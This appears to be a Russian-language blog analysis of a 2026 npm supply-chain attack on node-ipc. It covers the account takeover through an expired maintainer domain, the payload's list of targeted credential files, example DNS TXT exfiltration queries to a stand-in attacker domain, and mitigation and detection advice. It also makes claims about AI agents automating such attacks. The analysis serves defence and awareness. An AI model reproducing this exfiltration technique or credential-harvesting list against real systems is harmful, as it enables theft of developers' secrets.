Иллюстрация домена и DNS-туннеля
Иллюстрация домена и DNS-туннеля

Сцена первая. 14:25 UTC, 14 мая 2026

За одну минуту в npm-registry были опубликованы три новые версии пакета node-ipc: 9.1.6, 9.2.3 и 12.0.1. Издатель — atiertant, аккаунт, который не публиковал ничего годами и значился в списке мейнтейнеров скорее по инерции.

Через три минуты AI-сканер Socket пометил версии как malicious. Через два часа npm-команда удалила их из registry. За эти два часа пакет успел разойтись по миру через npm install и npm ci во всём, что собиралось в это окно.

node-ipc — это библиотека межпроцессного взаимодействия для Node.js. 822 тысячи скачиваний в неделю. 3,35 миллиона в месяц. Транзитивная зависимость во множестве популярных пакетов — от dApp-пайплайнов криптопроектов до инструментов разработки и фреймворков. Если у вас в package.json есть что-то крупное и популярное — вероятность, что node-ipc приехал к вам через цепочку зависимостей, высокая. Загляните в свой package-lock.json поиском по слову node-ipc — почти наверняка найдёте.

node-ipc
node-ipc

Если ваш CI собирался в окно с 14:25 до 16:30 UTC 14 мая, и ваш package-lock.json допускал автоматические обновления в диапазоне ^9.x или ^12.x — у вас были утечены credentials. AWS-ключи. SSH-ключи. Содержимое .env. Kubernetes-конфиги. Токены OpenAI и Anthropic.

И самое неприятное: вы об этом не знаете. Не потому, что вы плохо мониторите. А потому, что эта атака целенаправленно строилась так, чтобы пройти мимо всех ваших мониторингов.

Сейчас разберём, как.

Сцена вторая. Атака, которая не нуждалась во взломе

Прежде чем нырнуть в payload, важно понять одну вещь. npm никто не ломал. Учётные данные atiertant никто не подбирал. Двухфакторку никто не обходил. Здесь не было ни одного взлома в техническом смысле этого слова.

Хронология выглядит так:

  • 10 января 2001 года. Регистрируется домен atlantis-software.net, у OVH. Позже почта на этом домене оказывается привязана к одному из 12 npm-мейнтейнеров пакета node-ipc — аккаунту atiertant. Сам аккаунт, судя по публикациям, был неактивен годами.

  • 10 января 2025 года. Регистрация домена истекает. Никто её не продлевает. atlantis-software.net уходит в пул свободных.

  • 7 мая 2026 года. Атакующий регистрирует atlantis-software.net в Namecheap. Цена регистрации — около девяти долларов за год.

  • 7-13 мая 2026 года. Атакующий поднимает на домене почтовую инфраструктуру через Namecheap PrivateEmail. Теперь любая почта на *@atlantis-software.net приходит ему.

  • 14 мая 2026 года. Атакующий идёт на npmjs.com, жмёт «forgot password» для аккаунта atiertant. Письмо для восстановления приходит ему на воскрешённый домен. Он сбрасывает пароль и получает полный publish-доступ к пакету node-ipc.

То, что мы привыкли называть «компрометацией аккаунта мейнтейнера», в этом случае реализуется через регистратор доменов. Всё остальное — стандартная функциональность npm: восстановление пароля по email работает ровно так, как и должна.

Цепочка доверия выглядит так: npm доверяет email-адресу. Email-адрес доверяет DNS. DNS доверяет регистратору домена. Регистратор доверяет тому, кто заплатил. Девять долларов в Namecheap. Меньше, чем стоит ужин.

Что делал payload

Технически интересного здесь много, и стоит пройтись по нему построчно.

Атакующий не воспользовался привычным вектором — postinstall-скриптом в package.json. Вместо этого payload встроен непосредственно в код пакета: в файл node-ipc.cjs, который является CommonJS-точкой входа. ESM-обёртка (node-ipc.js) осталась чистой. Это означает, что разработчики, использующие import nodeIpc from 'node-ipc' через современную ESM-семантику, payload не получили. Затронуты были только проекты, использующие старый require('node-ipc') — но таких большинство.

Сам payload — это обфусцированный IIFE (Immediately Invoked Function Expression), вставленный в конец бандла. Размер — около 80 килобайт после деобфускации. Запускается он не через require, а через setImmediate() — то есть на следующем тике event loop’а после загрузки модуля. Это выбрано, чтобы не блокировать require() и не вызвать подозрений по тайминам.

Запустившись, payload форкается в отдельный процесс с переменной окружения __ntw=1. Эта переменная — флаг «я уже запущен», чтобы избежать рекурсивного запуска, если приложение использует кластеризацию или Worker Threads. Дочерний процесс отрабатывает в фоне даже если основной процесс приложения завершится по своим причинам.

Дальше начинается harvesting. Список целей у этого payload насчитывает около 90 категорий. Среди подтверждённых исследователями Socket и Upwind:

  • AWS access keys и secret keys из ~/.aws/credentials, ~/.aws/config

  • .env и .env.* файлы из рабочего каталога

  • SSH-ключи из ~/.ssh/ (приватные)

  • Kubernetes config из ~/.kube/config

  • Docker credentials из ~/.docker/config.json

  • GitHub/GitLab tokens из переменных окружения и конфигов

  • API-ключи AI-сервисов (OpenAI, Anthropic и другие) из переменных окружения

  • npm tokens из ~/.npmrc

  • Git credentials helper cache

  • Конфиги CI/CD-агентов: GitLab Runner, Jenkins, GitHub Actions runner

Собранное сжимается в gzip-tarball, складывается во временный путь <tmp>/nt-<pid>/<machineHex>.tar.gz, шифруется и отправляется наружу.

И вот здесь начинается самое интересное.

Почему DNS, а не HTTPS

Атакующий не делает https.request() или fetch() на удалённый сервер. Он не открывает прямые TCP-соединения. Он не использует WebSocket. Любой из этих каналов в production-окружении хотя бы потенциально мониторится: исходящие HTTPS видит egress-proxy, прямые TCP-соединения наружу с production-хоста — это уже аномалия для большинства сетапов.

Вместо этого payload разбивает зашифрованные данные на небольшие чанки и отправляет их через DNS TXT-запросы к контролируемому атакующим NS-серверу. Запросы выглядят примерно так:

xh.aGVsbG93b3JsZAo.exfil.evil.example.com  TXT?
xh.dGVzdGRhdGEK.exfil.evil.example.com  TXT?
xh.bW9yZWRhdGEK.exfil.evil.example.com  TXT?

Префикс перед первой точкой — xh., xd. или xf. — кодирует тип содержимого (header, data, footer). Между точками — Base32-закодированный чанк зашифрованных данных. Authoritative NS-сервер на стороне атакующего получает каждый запрос, парсит, складирует и отвечает любым TXT-record’ом — например, пустой строкой.

Для системы выглядит это так: процесс node зачем-то резолвит DNS-запросы. Резолв DNS — это абсолютно нормальная активность для любого приложения, особенно для node-приложения, которое почти всегда что-то куда-то стучит.

Почему это работает.

SIEM не парсят DNS. В подавляющем большинстве SIEM-инструментов (Splunk, Elastic, Wazuh, Sentinel) логирование DNS-запросов либо вообще не настроено, либо настроено только на уровне «доменов второго уровня». Запрос к evil.example.com будет залогирован как «доступ к домену example.com» — без длинного prefix’а, который и есть payload.

Фаерволы DNS не блокируют. Хост, который не может резолвить DNS, не может работать. UDP/53 наружу пропускают все. Egress-фильтрация в большинстве production-окружений касается HTTP/HTTPS, иногда SSH, но не DNS.

DNS over HTTPS усугубляет. Если в системе настроен resolver на DoH (DNS over HTTPS) — что в 2026 году скорее норма, чем исключение — даже сетевой мониторинг не видит содержимое DNS-запросов. Всё уходит зашифрованным к публичному резолверу (1.1.1.1, 8.8.8.8), и оттуда уже к authoritative NS атакующего.

Объём трафика мизерный. Зашифрованные ~/.ssh/id_rsa плюс ~/.aws/credentials — это меньше 10 килобайт. Через TXT-запросы с типичным размером чанка 200 байт — это около 50 DNS-запросов. Пятьдесят DNS-запросов от node-приложения за минуту — это не аномалия, это норма.

Ловить такое надо специализированными решениями: Cloudflare Gateway, Cisco Umbrella, AdGuard Home с custom-правилами, либо собственным DNS resolver’ом с логированием полного запроса и аномалийной аналитикой. В большинстве компаний этого нет. У большинства разработчиков на личных машинах — тем более нет.

Третий раз — это уже не случайность

История пакета node-ipc — это отдельный учебный кейс по supply chain.

2022 год. Сам мейнтейнер пакета, Brandon Nozaki Miller (RIAEvangelist), в марте 2022 выкатывает версии 10.1.1 и 10.1.2 с встроенным destructive payload’ом. Payload определяет геолокацию хоста по внешнему IP и, если хост находится в России или Беларуси, рекурсивно перезаписывает файлы в файловой системе. Через несколько дней автор публикует отдельный пакет peacenotwar и добавляет его как зависимость в node-ipc 11.0.0 и 11.1.0. Пакет был быстро отозван, мейнтейнер получил публичное порицание, на этом всё закончилось.

Тогда сообщество сделало вид, что урок усвоен. На самом деле — нет. Пакет остался в registry под тем же именем. Тысячи проектов, у которых он сидел в транзитивных зависимостях, продолжили его использовать.

2026 год, текущая атака. Уже другой actor, уже не идеологически мотивированный, а финансово. И уже не через мейнтейнера, а через купленный домен. Цель — credentials, потенциальная монетизация — продажа в даркнете или прямое использование для атак на найденные через украденные ключи cloud-аккаунты.

Между этими двумя инцидентами один и тот же пакет дважды использовался как оружие. И этот пакет до сих пор сидит в production-зависимостях огромного количества проектов.

Это и есть главный урок, который индустрия отказывается учить: пакет с историей злоупотребления остаётся пакетом с историей злоупотребления. Никакая ротация мейнтейнеров, никакой rebrand, никакое заявление «we take security seriously» этого не меняет. Если пакет один раз использовался как оружие, есть структурная вероятность, что это повторится — потому что он популярен, потому что он сидит в зависимостях, потому что он представляет собой высокоценную мишень.

Я не призываю удалять node-ipc отовсюду. Я призываю задуматься: сколько таких пакетов у вас в зависимостях прямо сейчас? Пакетов, которые лежат в node_modules через 4 уровня транзитивной вложенности, мейнтейнятся одним человеком, не обновлялись три года, и про которые вы никогда в жизни не слышали?

Архитектурный вектор: dormant-аккаунты везде

То, что произошло с atiertant, — не уникальная история. Это масштабируемая модель атаки, которая работает против любого реестра пакетов с email-based password recovery.

В npm на момент мая 2026 — 50+ миллионов пакетов. Активных мейнтейнеров — около 800 тысяч. Аккаунтов, которые не публиковали ничего более трёх лет — миллионы. И почти у каждого такого аккаунта восстановление пароля привязано к email на каком-то домене.

Часть этих доменов уже истекла. Часть истечёт в ближайшие годы. Кто-то использовал почту на корпоративном домене компании, которой больше нет. Кто-то — личный домен, который перестал продлевать. Кто-то — экзотический ccTLD, который сменил правила регистрации и стал доступен.

Каждый из этих аккаунтов — потенциальный вектор атаки. Стоимостью около десяти долларов.

И речь не только о npm. PyPI работает по той же схеме. RubyGems — тоже. crates.io — тоже. Hex (Erlang/Elixir) — тоже. Packagist (PHP) — тоже. Это структурная особенность всех современных package managers, основанных на email-аутентификации.

Я думаю, что ближайшие год-два мы увидим серию подобных инцидентов. Не потому, что один атакующий нашёл уязвимость — а потому, что весь рынок package managers стоит на email-биографиях, которые принципиально могут истечь.

Реальное решение — это привязка аккаунтов к hardware-ключам (FIDO2, YubiKey), отказ от email-based recovery для критичных пакетов, и обязательное multi-maintainer approval для публикации новых версий популярных пакетов. Ни одно из этих решений на данный момент не является default’ом ни в одном из крупных package managers. npm audit signatures через Sigstore существует уже несколько лет, но работает только для пакетов, которые подписаны автором. Большинство популярных пакетов ещё не подписано. И даже подписанный пакет, опубликованный со скомпрометированного аккаунта, будет «валидно подписан» — потому что аккаунт принадлежит атакующему.

FIDO2
FIDO2

Что делать прямо сейчас

Перейдём к практическому. Если вы прочитали всё выше и чувствуете себя неуютно — это правильное чувство. Вот что я бы сделал на вашем месте.

Если вы запускали npm install или npm ci 14 мая

Принцип простой: исходите из того, что credentials скомпрометированы, и действуйте соответственно. Не «возможно скомпрометированы», а «скомпрометированы». Это дороже по нервам, но дешевле по последствиям, чем попытка разобраться, что именно утекло.

Ротируйте:

  1. Все AWS access keys, которые были в окружении сборки. Через AWS IAM Access Analyzer проверьте, не было ли подозрительной активности за последнюю неделю.

  2. Все GitHub/GitLab Personal Access Tokens. Revoke, заведите новые с минимальными scope’ами.

  3. Все npm tokens (~/.npmrc). Особенно если они с правом публикации.

  4. SSH-ключи, которые были на машине. Заодно — authorized_keys на всех серверах, куда эти ключи имели доступ.

  5. Содержимое всех .env-файлов, которые лежали в репозитории на момент сборки. API-ключи, database passwords, секреты сторонних сервисов — всё, что там было.

  6. OpenAI, Anthropic, и прочие AI-API-ключи. Эти, кстати, часто забывают — а они стоят денег и могут быть использованы для генерации фишинговых писем от вашего имени.

Параллельно — проверьте логи cloud-аккаунтов на необычную активность. AWS CloudTrail, GCP Audit Logs, Azure Activity Logs. Любые iam:CreateAccessKey, lambda:CreateFunction из непривычных регионов за последнюю неделю — повод подозревать.

Если вы не запускали npm install 14 мая, но хотите спать спокойнее

Базовые меры, которые стоило сделать ещё вчера:

Lockfiles обязательны. package-lock.json (npm), yarn.lock (yarn), pnpm-lock.yaml (pnpm). Если у вас в репозитории его нет — добавьте. Это сразу исключает «случайные» обновления зависимостей в CI.

Hash checking. В lockfile должны быть integrity поля с SHA-512 хешами. Команда npm ci (в отличие от npm install) проверяет хеши и валится, если они не совпадают. В production-сборках всегда npm ci, никогда npm install.

Pinning стратегия. Замените ^1.2.3 (любая минорная) и ~1.2.3 (любой патч) на точные 1.2.3 для критичных зависимостей. Это создаёт неудобство при обновлениях, но даёт контроль.

Renovate / Dependabot с review. Автоматическое создание PR на обновление — да. Автоматический merge без ревью — нет. Никогда.

npm audit signatures. Если ваши критичные пакеты подписаны Sigstore — добавьте проверку в CI:

npm audit signatures

Эта команда упадёт, если хотя бы один пакет имеет невалидную подпись или подписан не тем ключом.

Принцип минимума зависимостей. Каждая зависимость — это поверхность атаки. Если функцию из библиотеки можно написать самому в 10 строк — пишите. is-odd с миллионом скачиваний в неделю — это не зависимость, это шутка над здравым смыслом.

Если вы хотите ловить DNS-эксфильтрацию

Тут уже инфраструктурная история. Я в своей лабе делаю так:

На VPS-уровне. На моём VPS стоит локальный DNS-resolver (Unbound), и весь исходящий DNS-трафик контейнеров идёт через него. Resolver логирует все запросы. Логи парсятся скриптом, который ищет аномалии: подозрительно длинные labels (более 30 символов в одной части), Base32/Base64 паттерны, аномально высокий QPS на один домен.

Уровень Docker. Каждый контейнер запускается с явно прописанным --dns 127.0.0.1 и без доступа к глобальной сети для DNS. Egress-фильтрация через iptables разрешает UDP/53 только на локальный resolver.

Tetragon или Falco. Если хочется идти глубже — eBPF-based observability показывает все syscall’ы. Можно написать правило: «если процесс node делает более 100 DNS-запросов за минуту к доменам, которые он не делал в первые 24 часа жизни — алерт».

Я не утверждаю, что у каждого должен быть такой сетап. Но сам факт, что без подобной инфраструктуры эта атака полностью невидима — это то, что должно беспокоить.

А теперь представьте, что это делает не человек

Всё, что я описал выше — это атака, проделанная человеком. Атакующий потратил неделю на подготовку: купил домен, поднял почту, написал payload, обфусцировал его, развернул NS-сервер для приёма данных. Это работа.

Но мы живём в 2026 году, и работа этого типа — ровно тот класс задач, на котором AI-агенты последнего поколения уже превосходят младших pen-тестеров. Найти dormant-аккаунт через cross-reference packages metadata и WHOIS-данных истёкших доменов — задача, которую модель типа Mythos Preview (закрытая модель Anthropic, доступная только Project Glasswing-партнёрам) делает за минуты. Написать обфусцированный credential stealer с DNS-эксфильтрацией — задача нескольких часов промптов. Развернуть инфраструктуру — Terraform-агент на claude code.

То есть атака, которую вы только что прочитали в технических деталях, — это нижняя оценка того, что нас ждёт. Когда подобные атаки начнут проводиться автоматизированными агентами в масштабе всех публичных package registries параллельно, это уже не будет «единичный инцидент». Это будет шум, в котором придётся жить.

О Mythos Preview и о том, что эта закрытая модель уже умеет, я подробно разберу в пятничной статье. Там будут такие сюжеты как 27-летняя дыра в OpenBSD, обход пятилетней разработки Apple Memory Integrity Enforcement за пять дней, и побег из песочницы с самостоятельной публикацией деталей побега на сторонних сайтах. Все случаи реальные, все подтверждены первоисточниками. Если тема близка — встретимся в пятницу.


Если у вас есть свой опыт работы с supply chain атаками, или вы знаете о других кейсах из последнего года, которые я пропустил — пишите в комментариях. Я планирую отдельную статью по DNS-эксфильтрации с практическими сетапами для обнаружения, и весь материал из комментариев пойдёт в дело.